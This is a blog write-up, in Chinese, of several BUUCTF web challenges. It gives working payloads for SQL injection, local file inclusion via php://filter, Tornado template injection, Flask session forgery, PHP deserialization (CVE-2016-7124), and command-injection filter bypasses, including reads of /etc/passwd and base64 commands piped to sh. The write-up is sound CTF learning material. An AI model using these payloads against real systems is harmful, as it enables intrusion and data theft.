百道CTF刷題記錄(二)之BUUCTF


前言

最近好久沒刷CTF題了,其實BUUCTF這個平台我也是最開始的用戶之一(uid前20,懶狗石錘了...),可是一直沒有時間能夠好好的刷題,今兒總算時間充裕,打算花些時日,記錄下自己在BUU刷題的經驗。

刷題之旅

[HCTF 2018]WarmUp

打開題目頁面,習慣性右鍵查看HTML源代碼:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>Document</title>
</head>
<body>
    <!--source.php-->
    
    <br><img src="https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg" /></body>
</html>

得提示:source.php,訪問之~得到源代碼:

<?php
    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            
           	// 判斷參數是否存在
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }

            // 白名單判斷
            if (in_array($page, $whitelist)) {
                return true;
            }
            
            // 字符串切割,截取?之前的字符串,若無則不截取
            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?') //末尾添加?防止未找到報錯
            );
            
            // 白名單判斷
            if (in_array($_page, $whitelist)) {
                return true;
            }

            // Url解碼
            $_page = urldecode($page);
            
            // 再次切割
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            
            // 白名單判斷
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?>

訪問source.php?file=hint.php得到提示:flag not here, and flag in ffffllllaaaagggg

本題難點就是得想到如何利用字符串切割繞開白名單判斷且能任何文件包含,其實也很簡單:source.php?file=hint.php?/../任意文件即可。

EXP: source.php?file=hint.php?/../../../../ffffllllaaaagggg

[強網杯 2019]隨便注

注入題,老規矩,先來個單引號試試:

題目頁面

嘗試老套路拼接union select之后發現被攔截了,攔截代碼:

return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);

發現select被禁止了,這種情況下,通常的注入方法,如盲注報錯注入等都在這不好使了。

直接說解法吧,這里是堆疊注入

爆庫:1';show databases;#

array(1) {
  [0]=>
  string(11) "ctftraining"
}

array(1) {
  [0]=>
  string(18) "information_schema"
}

array(1) {
  [0]=>
  string(5) "mysql"
}

array(1) {
  [0]=>
  string(18) "performance_schema"
}

array(1) {
  [0]=>
  string(9) "supersqli"
}

array(1) {
  [0]=>
  string(4) "test"
}

爆表(當前數據庫):1';show tables;#

array(1) {
  [0]=>
  string(16) "1919810931114514"
}

array(1) {
  [0]=>
  string(5) "words"
}

words表應該就是測試數據,也就是該條語句的from接的應該就是words,那么flag應該在1919810931114514表中了。

select關鍵字被攔截掉了,如何才能讀取數據呢

解法一:handler

EXP:

1';handler `1919810931114514` open as `yunenctf`;handler `yunenctf` read first;#
# handler `1919810931114514` open as `yunenctf`; 將數據表載入並將返回句柄重命名
# handler `yunenctf` read first; 讀取指定句柄的首行數據

解法二:重命名rename

此方法有一定的危險性,若操作失敗極容易損壞環境,請在公共靶機操作時注意查看payload。

首先查看words表下的字段信息:1'; show columns from words;#

array(6) {
  [0]=>
  string(2) "id"
  [1]=>
  string(7) "int(10)"
  [2]=>
  string(2) "NO"
  [3]=>
  string(0) ""
  [4]=>
  NULL
  [5]=>
  string(0) ""
}

array(6) {
  [0]=>
  string(4) "data"
  [1]=>
  string(11) "varchar(20)"
  [2]=>
  string(2) "NO"
  [3]=>
  string(0) ""
  [4]=>
  NULL
  [5]=>
  string(0) ""
}

共有兩字段,分別是id與data字段;

查看1919810931114514表的字段信息:

array(6) {
  [0]=>
  string(4) "flag"
  [1]=>
  string(12) "varchar(100)"
  [2]=>
  string(2) "NO"
  [3]=>
  string(0) ""
  [4]=>
  NULL
  [5]=>
  string(0) ""
}

只有一個flag字段

EXP:

1'; rename table words to word1; rename table `1919810931114514` to words; alter table words add id int unsigned not Null auto_increment primary key; alter table words change flag data varchar(100);#
  • rename table words to word1; 將words表重命名為word1
  • rename table `1919810931114514` to words; 將 1919810931114514 重命名為words
  • alter table words add id int unsigned not Null auto_increment primary key; 為words表添加id字段並作為主鍵
  • alter table words change flag data varchar(100); 將words表的flag字段更名為data

解法三:預編譯prepare

由於select被攔截,故我們可以選擇將select * from `1919810931114514` 給轉成16進制並存放到變量中,接着進行預編譯處理並運行。

EXP:

1';SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;#

[SUCTF 2019]EasySQL

這題有點考腦洞的感覺,關鍵是你得猜出來他的SQL語句是怎么個拼接法。

select $_REQUEST['query']||flag from Flag

怎么猜呢?

  • 首先我們發現本題無報錯信息,且任意非數字開頭的輸入均無返回。
  • 其次嘗試1;show tables;#等payload發現可以返回,堆疊注入存在,但是測試發現from、表名Flag、0x、handler被攔截,看來本題不想讓我們能簡單地以堆疊注入通過。
  • 嘗試輸入1,2,3,4,發現返回內容為Array ( [0] => 1 [1] => 2 [2] => 3 [3] => 1 ),可判斷出注入位置。
  • 嘗試輸入1,2,3,0,發現返回內容為Array ( [0] => 1 [1] => 2 [2] => 3 [3] => 0 ),可以判斷最后的0應該是被拼接上了||或字符。

解法一:*

通過堆疊注入的show tables可以知道,當前執行命令的表即為唯一的Flag表,故flag信息應該也在該表里邊。輸入*,1即可返回該表的所有字段數據。

EXP:*,1

解法二:pipes_as_concat

據說此解才是預期解orz,set sql_mode=pipes_as_concat;的作用為將||的作用由or變為拼接字符串。

通過將||符號的含義改變成拼接字符串即可帶出flag的值(如果是||其他東西就不行了)。

EXP:1;set sql_mode=pipes_as_concat;select 1

[極客大挑戰 2019]EasySQL

cl4y師傅寫的題,出的還算簡單,打開題目就亮瞎了我的狗眼,不愧是羽哥哥。

EasySQL題目頁面

其實這個頁面沒啥用,真正功能在check.php。隨便輸入一個數據:check.php?username=1&password=1,提示用戶名與密碼錯誤。

老規矩,單雙引號與反斜杠走起,嘗試單引號時就報錯了。

You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '1'' at line 1

通常的登錄判斷實現有兩種方法:

  • 在where語句后拼接username與password,判斷是否返回數據的條數,若為0即賬號密碼錯誤。
  • 先獲取數據庫中對於username的密碼,再與password參數做比較。

而這里是第一種判斷方法,可以通過嘗試在username和password單獨加單引號,發現都會返回報錯信息可以猜測出。

搞懂了這點這題就很簡單了,EXP:

check.php?username=1%27%201%3d1%23&password=2

[護網杯 2018]easy_tornado

一看到tornado經常刷題的師傅(老賽棍)就知道了,SSTI必不可少。

打開題目首頁映入眼簾的三個跳轉鏈接:

/flag.txt
/welcome.txt
/hints.txt

分別打開得到:

  • flag in /fllllllllllllag
  • render
  • md5(cookie_secret+md5(filename))

觀察URL可以發現:file?filename=/hints.txt&filehash=b40f21b84d8adb13a98b455421e19522

很明顯,我們只需要找到cookie_secret就可以讀取fllllllllllllag文件獲得flag,而這需要通過SSTI獲得。

SSTI模板注入位置:error?msg=Error,報錯頁面。報錯頁面存在SSTI也是常考點了

老規矩嘗試{{7*7}},發現被攔截了,返回ORZ,把\*去掉后確實能返回77,說明的確存在SSTI。

經過嘗試,發現攔截了_,(),[]等,命令執行的路算被堵死了。

這里的考點就是tornado的handler.settings對象

在tornado中

handler 對象 是指向RequestHandler
而RequestHandler.settings又指向self.application.settings
所以所有handler.settings就指向RequestHandler.application.settings了!

而在模板中,handler是可用的,故訪問:error?msg={{handler.settings}},記得得到cookie_secret。

{'autoreload': True, 'compiled_template_cache': False, 'cookie_secret': 'e23c0c77-a56a-444d-a44b-e74ee6ce5ba5'}

所以/fllllllllllllag對應的hash就為md5(cookie_secret+md5('/fllllllllllllag')),即:c4a22e606c667e494b34c926adbc0a42

EXP:

file?filename=/fllllllllllllag&filehash=c4a22e606c667e494b34c926adbc0a42 #此處由於cookie_secret不同需要自己走一遍流程

[極客大挑戰 2019]Havefun

簽到題,無考點。

EXP:/?cat=dog

[RoarCTF 2019]Easy Calc

打開題目,郵件查看HTML源代碼,發現:

<!--I've set up WAF to ensure security.-->
<script>
    $('#calc').submit(function(){
        $.ajax({
            url:"calc.php?num="+encodeURIComponent($("#content").val()),
            type:'GET',
            success:function(data){
                $("#result").html(`<div class="alert alert-success">
            <strong>答案:</strong>${data}
            </div>`);
            },
            error:function(){
                alert("這啥?算不來!");
            }
        })
        return false;
    })
</script>

訪問calc.php,得到如下源代碼:

<?php
error_reporting(0);
if(!isset($_GET['num'])){
    show_source(__FILE__);
}else{
        $str = $_GET['num'];
        $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
        foreach ($blacklist as $blackitem) {
                if (preg_match('/' . $blackitem . '/m', $str)) {
                        die("what are you want to do?");
                }
        }
        eval('echo '.$str.';');
}
?>

可以看到,這是個命令執行題,如何繞過黑名單執行命令是本題的考點。

經過嘗試后發現,當num參數傳入字母時便會被WAF攔截。這里有兩種方法來繞過:

法一:PHP黑魔法%20num

PHP在接受請求參數時會忽略開頭的空格,也就是說?%20%20num=a相當於$_GET['num']=a的效果。

WAF判斷的參數僅是num,而對於%20num他是不做攔截的。

法二:HTTP走私攻擊

這也是WAF繞過的老法子之一了,用在這里也是正常的操作。

HTTP走私

而對於單雙引號被過濾的情況如何表示字符串,由於PHP的靈活性有挺多的法子,這里列舉兩個:

  • 一是利用chr()等轉換函數,將ascii碼轉成單個字符串在用.拼接。
  • 二是利用~取反等符號,如~%9e就代表字符串a

EXP:

calc.php?%20num=var_dump(scandir(~%d0)) // 列出根目錄下的全部文件名
calc.php?%20num=highlight_file(~%D0%99%CE%9E%98%98) // 讀flag文件

[極客大挑戰 2019]Secret

打開題目,啥信息都沒有,不清楚考點。老規矩,先查看返回頭、HTML源代碼,若無結果再開掃描器。

題目頁面

在HTML源代碼處發現提示:

<a id="master" href="./Archive_room.php" style="background-color:#000000;height:70px;width:200px;color:black;left:44%;cursor:default;">Oh! You found me</a>

打開/Archive_room.php文件,得:

跳轉鏈接

點擊之后發現被跳轉到了end.php,易知action.php返回了跳轉信息。打開Burpsuite抓取數據包重放得到:

Burp抓包重放

訪問之,得PHP源代碼一份:

<html>
    <title>secret</title>
    <meta charset="UTF-8">
<?php
    highlight_file(__FILE__);
    error_reporting(0);
    $file=$_GET['file'];
    // 簡單防攪屎措施
    if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
        echo "Oh no!";
        exit();
    }
    include($file); 
//flag放在了flag.php里
?>
</html>

很容易就知道此處的考點應該是LFI讀文件,EXP:

secr3t.php?file=php://filter/read=convert.base64-encode/resource=flag.php

得到Base64編碼過的flag.php源代碼,解密之即可得flag。

Base64解碼

[HCTF 2018]admin

這題出的是真的不錯,學到了很多東西,多刷好題還是有用的。

打開題目,在首頁的HTML源代碼處發現注釋:

<!-- you are not admin -->

猜測獲取flag需要登錄admin賬戶,我們先注冊隨便一個賬號登錄進去看看。

在change_password功能頁的HTML源碼中發現注釋:

<!-- https://github.com/woadsl1234/hctf_flask/ -->

這里貼一下主要源碼:

#!/usr/bin/env python
# -*- coding:utf-8 -*-

from flask import Flask, render_template, url_for, flash, request, redirect, session, make_response
from flask_login import logout_user, LoginManager, current_user, login_user
from app import app, db
from config import Config
from app.models import User
from forms import RegisterForm, LoginForm, NewpasswordForm
from twisted.words.protocols.jabber.xmpp_stringprep import nodeprep
from io import BytesIO
from code import get_verify_code

@app.route('/code')
def get_code():
    image, code = get_verify_code()
    # 圖片以二進制形式寫入
    buf = BytesIO()
    image.save(buf, 'jpeg')
    buf_str = buf.getvalue()
    # 把buf_str作為response返回前端,並設置首部字段
    response = make_response(buf_str)
    response.headers['Content-Type'] = 'image/gif'
    # 將驗證碼字符串儲存在session中
    session['image'] = code
    return response

@app.route('/')
@app.route('/index')
def index():
    return render_template('index.html', title = 'hctf')

@app.route('/register', methods = ['GET', 'POST'])
def register():

    if current_user.is_authenticated:
        return redirect(url_for('index'))

    form = RegisterForm()
    if request.method == 'POST':
        name = strlower(form.username.data)
        if session.get('image').lower() != form.verify_code.data.lower():
            flash('Wrong verify code.')
            return render_template('register.html', title = 'register', form=form)
        if User.query.filter_by(username = name).first():
            flash('The username has been registered')
            return redirect(url_for('register'))
        user = User(username=name)
        user.set_password(form.password.data)
        db.session.add(user)
        db.session.commit()
        flash('register successful')
        return redirect(url_for('login'))
    return render_template('register.html', title = 'register', form = form)

@app.route('/login', methods = ['GET', 'POST'])
def login():
    if current_user.is_authenticated:
        return redirect(url_for('index'))

    form = LoginForm()
    if request.method == 'POST':
        name = strlower(form.username.data)
        session['name'] = name
        user = User.query.filter_by(username=name).first()
        if user is None or not user.check_password(form.password.data):
            flash('Invalid username or password')
            return redirect(url_for('login'))
        login_user(user, remember=form.remember_me.data)
        return redirect(url_for('index'))
    return render_template('login.html', title = 'login', form = form)

@app.route('/logout')
def logout():
    logout_user()
    return redirect('/index')

@app.route('/change', methods = ['GET', 'POST'])
def change():
    if not current_user.is_authenticated:
        return redirect(url_for('login'))
    form = NewpasswordForm()
    if request.method == 'POST':
        name = strlower(session['name'])
        user = User.query.filter_by(username=name).first()
        user.set_password(form.newpassword.data)
        db.session.commit()
        flash('change successful')
        return redirect(url_for('index'))
    return render_template('change.html', title = 'change', form = form)

@app.route('/edit', methods = ['GET', 'POST'])
def edit():
    if request.method == 'POST':
        
        flash('post successful')
        return redirect(url_for('index'))
    return render_template('edit.html', title = 'edit')

@app.errorhandler(404)
def page_not_found(error):
    title = unicode(error)
    message = error.description
    return render_template('errors.html', title=title, message=message)

def strlower(username):
    username = nodeprep.prepare(username)
    return username

解法一:條件競爭[未復現成功]

此解法感覺是錯誤的,不過看飄零師傅的WP有詳細描述,我這邊復現沒成功,若有了解的師傅歡迎找我討論 😃

我們注意到,登錄函數的寫法有點奇怪。通常來說,SESSION存取登錄成功的用戶信息是在驗證通過提交的賬號與密碼之后的事情,但這里的代碼確實先將用戶名存入SESSION中,不符合常理,可能存在繞過的可能。

def login():
    if current_user.is_authenticated:
        return redirect(url_for('index'))

    form = LoginForm()
    if request.method == 'POST':
        name = strlower(form.username.data)
        # 通常驗證通過再存入SESSION
        session['name'] = name
        user = User.query.filter_by(username=name).first()
        if user is None or not user.check_password(form.password.data):
            flash('Invalid username or password')
            return redirect(url_for('login'))
        login_user(user, remember=form.remember_me.data)
        return redirect(url_for('index'))
    return render_template('login.html', title = 'login', form = form)

同時,對於修改密碼函數來說:

def change():
    if not current_user.is_authenticated:
        return redirect(url_for('login'))
    form = NewpasswordForm()
    if request.method == 'POST':
        name = strlower(session['name'])
        user = User.query.filter_by(username=name).first()
        user.set_password(form.newpassword.data)
        db.session.commit()
        flash('change successful')
        return redirect(url_for('index'))
    return render_template('change.html', title = 'change', form = form)

是從SESSION中獲取用戶名的。

這樣的話就存在一種可能,就是當我們change函數執行到name = strlower(session['name'])之前,我們已退出當前用戶,並以錯誤的密碼嘗試登錄admin用戶,此時session['name']的值為admin,change函數便將admin賬戶的密碼給成功修改了。

貼一下利用腳本,由syang@Whitzard編寫:

import requests
import threading

def login(s, username, password):
    data = {
        'username': username,
        'password': password,
        'submit': ''
    }
    return s.post("http://admin.2018.hctf.io/login", data=data)

def logout(s):
    return s.get("http://admin.2018.hctf.io/logout")

def change(s, newpassword):
    data = {
        'newpassword':newpassword
    }
    return s.post("http://admin.2018.hctf.io/change", data=data)

def func1(s):
    login(s, 'skysec', 'skysec')
    change(s, 'skysec')

def func2(s):
    logout(s)
    res = login(s, 'admin', 'skysec')
    if '<a href="/index">/index</a>' in res.text:
        print('finish')

def main():
    for i in range(1000):
        print(i)
        s = requests.Session()
        t1 = threading.Thread(target=func1, args=(s,))
        t2 = threading.Thread(target=func2, args=(s,))
        t1.start()
        t2.start()

if __name__ == "__main__":
    main()

說明一下,此方法由我多次測試均不能修改admin的密碼。我認為由於flask客戶端session的特訓,及時在change函數獲取session['name']之前通過login函數修改了session['name']的值,但是change函數取到的值仍不會受到影響。flask的session存在客戶端的Cookie之中,視圖函數獲取session相當於去解析其對應的請求體中的Cookie字段,而不是存在服務器端的session文件中,故在整個change函數里,session的值都不會改變,並不含產生競爭。

解法二:Unicode欺騙

我們注意到,在代碼里,此處用到的一個自己定義的字符轉小寫函數。

from twisted.words.protocols.jabber.xmpp_stringprep import nodeprep

def strlower(username):
    username = nodeprep.prepare(username)
    return username

我們再去requirements.txt看一下這個庫的版本是多少:

Twisted==10.2.0

而我們去官方的倉庫:https://github.com/twisted/twisted/releases可以發現,在當時(18年)Twisted最新的版本為18.7.0

這兩個版本差別也太大了,而且專門導入一個庫來進行字符轉換感覺也很有問題。

一番查詢后可以找到:https://tw.saowen.com/a/72b7816b29ef30533882a07a4e1040f696b01e7888d60255ab89d37cf2f18f3e

文中指出,在低版本的Twisted庫中nodeprep.prepare會對特殊字符ᴀʙᴄᴅᴇꜰɢʜɪᴊᴋʟᴍɴᴏᴘʀꜱᴛᴜᴠᴡʏᴢ(small caps)進行如下操作:

ᴀ->A->a

可以發現ᴀ並不是被轉成a而是大寫的A,那么我們注意到,login在取參時會進行一次strlower轉換且change又再一次進行strlower轉換。

如此一來我們可以這樣操作:

注冊ᴀdmin用戶(實際注冊的用戶是Admin)並登陸->以ᴀdmin用戶名登陸->session存的用戶名是Admin->更改密碼時獲取到的name為admin->成功修改admin的密碼

解法三:Session偽造

參考p牛文章:https://www.leavesongs.com/PENETRATION/client-session-security.html

由於flask客戶端session的特性,且session存儲方式類似JWT,僅僅只在末尾拼接了相應的hash作數據校驗,故session的內容對於我們來說是可視的。

#!/usr/bin/env python3
import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode

def decryption(payload):
    payload, sig = payload.rsplit(b'.', 1)
    payload, timestamp = payload.rsplit(b'.', 1)

    decompress = False
    if payload.startswith(b'.'):
        payload = payload[1:]
        decompress = True

    try:
        payload = base64_decode(payload)
    except Exception as e:
        raise Exception('Could not base64 decode the payload because of '
                         'an exception')

    if decompress:
        try:
            payload = zlib.decompress(payload)
        except Exception as e:
            raise Exception('Could not zlib decompress the payload before '
                             'decoding the payload')

    return session_json_serializer.loads(payload)

if __name__ == '__main__':
    print(decryption(sys.argv[1].encode()))

又因為我們在config.py文件中可以發現:

class Config(object):
    SECRET_KEY = os.environ.get('SECRET_KEY') or 'ckj123'
    SQLALCHEMY_DATABASE_URI = 'mysql+pymysql://root:adsl1234@db:3306/test'
    SQLALCHEMY_TRACK_MODIFICATIONS = True

SECRET_KEY可能為ckj123,如此一來我們便可以生成相應的hash拼接上我們的偽造的數據達到偽造session的作用。

利用腳本:https://github.com/noraj/flask-session-cookie-manager

[極客大挑戰 2019]LoveSQL

打開題目,看樣子應該是前面那道簡單題的簡單升級版。

LoveSQL題目頁面

隨便輸入一些數據,跳轉到:/check.php?username=1&password=1

老樣子,在username與password分別單獨加單引號,發現均返回錯誤。說明應該是之前講的第一種判斷邏輯。

老EXP嘗試:username=1'%20or1%3d1%23&password=1,成功登錄,返回了管理員密碼的密文值,看長度應該是MD5。

Login Success!

Hello admin!

Your password is '5712153fef7655da3f5bf3af7ddf464b'

但嘗試MD5解密失敗,結果發現居然是明文,不過改換admin登錄也沒啥用,結合題目意思應該需要我們進行跨表注入。

聯合注入經典步驟:

判斷字段數

/check.php?username=1'%20or1%3d1order%20by%20{字段數}%23&password=1

當嘗試字段數為4時,返回報錯信息:

Unknown column '4' in 'order clause'

嘗試3時返回正常,說明union前邊的語句獲取的字段數為3。

查看回顯位置

check.php?username=1%27union%20select%201,2,3%23&password=1

回顯數據:

Hello 2!

Your password is '3'

我們選擇在2字段處繼續回顯數據(任意選擇)

爆庫名

1' union select 1,database(),3 #

爆表名

1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() #

爆列名

1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name = 'l0ve1ysq1' #

取數據

1' union select 1,group_concat(username,password),3 from l0ve1ysq1 #

成功獲得flag。

[GXYCTF2019]Ping Ping Ping

經典命令執行題了,這里簡單總結一下。

  • ${IFS}、$IFS$任意數字,可充當空格。
  • <、>可取代空格,如cat<flag.php
  • fla\g.phpfl*g.phpfla?.phpfl'a'g.php均可被認作flag.php
  • {OS_COMMAND,ARGUMENT},如:{cat,/etc/passwd}
  • ;a=g;cat fla$a.php;,臨時變量可做字符串拼接。
  • cat fla${n}g.php,n變量並未賦值,空變量拼接繞過空格。
  • 通配符:[a-z]、[abc]、{a,b,c}類似*、?的功能,fl[a-z]g.php可取到flag.php
  • 編碼轉換:echo 'Y2F0IGEudHh0Cg=='|base64 |(ba)shecho "63617420612e7478740a"|xxd -r -p|sh
  • tac命令相當於cat的鏡像命令,取到的內容是倒序的,從最后一行取到第一行;rev命令是cat完全相反,從最后一個字符倒序取值。

分隔符:

1.&,& 表示將任務置於后台執行。
2.&&,只有在 && 左邊的命令返回真(命令返回值 $? == 0),&& 右邊的命令才 會被執行。
3.|,| 表示管道,上一條命令的輸出,作為下一條命令的參數
4.||,只有在 || 左邊的命令返回假(命令返回值 $? == 1),|| 右邊的命令才 會被執行。
5.;,多行語句用換行區分代碼快,單行語句一般要用到分號來區分代碼塊
引自:https://blog.csdn.net/qq_42812036/java/article/details/104297163

回到題目本身:

先列下目錄:?ip=1;ls

PING 1 (0.0.0.1): 56 data bytes
flag.php
index.php

直接讀取flag.php失敗:1;cat%20flag.php

fxck your space! # 攔截了空格

使用$IFS嘗試代替繞過:?ip=1;cat$IFS$1flag.php

fxck your flag!

轉去讀index.php文件查看源代碼再做打算:?ip=1;cat$IFS$1index.php,得源碼:

<?php
if(isset($_GET['ip'])){
  $ip = $_GET['ip'];
  if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
    echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
    die("fxck your symbol!");
  } else if(preg_match("/ /", $ip)){
    die("fxck your space!");
  } else if(preg_match("/bash/", $ip)){
    die("fxck your bash!");
  } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
    die("fxck your flag!");
  }
  $a = shell_exec("ping -c 4 ".$ip);
  echo "<pre>";
  print_r($a);
}

?>

過濾了很多符號,空格,bash關鍵字(改用sh執行),.*f.*l.*a.*g.*貪婪模式判斷f|l|a|g的順序不能出現。

這里我們使用$IFS$數字代替空格,而.*f.*l.*a.*g.*的繞過有下邊三種方法。

變量拼接法

?ip=1;u=g;cat$IFS$1fla$u.php

編碼轉換法

?ip=1;echo$IFS$1Y2F0IGZsYWcucGhwCg==|base64$IFS$1-d|sh

反引做參法

?ip=1;cat$IFS$1`ls` #打開工作目錄的全部文件並返回內容

[極客大挑戰 2019]PHP

打開題目,無提醒,考點模糊的情況下:先查看響應頭與HTML源代碼,還是無頭緒再進行文件掃描。

這里使用dirsearch掃描到有www.zip,訪問之將源碼down下來,這里貼個關鍵代碼:

#class.php
<?php
include 'flag.php';


error_reporting(0);


class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }

    function __wakeup(){
        $this->username = 'guest';
    }

    function __destruct(){
        if ($this->password != 100) {
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {
            global $flag;
            echo $flag;
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();
        }
    }
}
?>
#index.php
<?php
    include 'class.php';
    $select = $_GET['select'];
    $res=unserialize(@$select);
?>

本地打開phpstudy開個簡單的服務器,復制class.php文件並添加如下代碼:

$a = new Name('admin',100);
echo urlencode(serialize($a));

訪問得到實例$a的序列化值(URL編碼):

O%3A4%3A%22Name%22%3A2%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bi%3A100%3B%7D

解碼之后(不可見字符不處理)是這樣子的:

O:4:"Name":2:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

此處用到一個漏洞(CVE-2016-7124,影響版本PHP5<5.6.25,PHP7<7.0.10),當反序列化字符串中聲明的屬性個數大於實際提供的屬性時,__wakeup函數並不會執行。

簡單地說明這個漏洞就是,PHP底層在編寫反序列代碼時,將__wakeup函數的調用放在解析字符串功能之后,而如果解析字符串出現錯誤時就會直接return 0;,從而其后邊的__wakeup魔法函數便調用不上。至於為何是修改變量個數,是因為若修改如變量名長度,會導致解析字符串的關鍵函數pap_var_unserialize出錯,並將釋放當前key(變量)空間,導致類中的變量賦值失敗。而如果只是修改變量個數的話,便可以使得不出現上述錯誤而導致賦值失敗,也可以讓解析字符串功能出錯返回0。

故EXP:

/?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

后記

好久沒刷題了,真的生疏了很多。不僅很多很簡單的點到不太記得了,甚至連簡單的SQL題做的時候都愣了好一會兒,有點“無從下手”的感覺,看來平時還是得多話時間來刷刷題,而且從這次的刷題中,能明顯看出自己對於許多考點都不熟悉,唉,還是太菜了。

參考


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM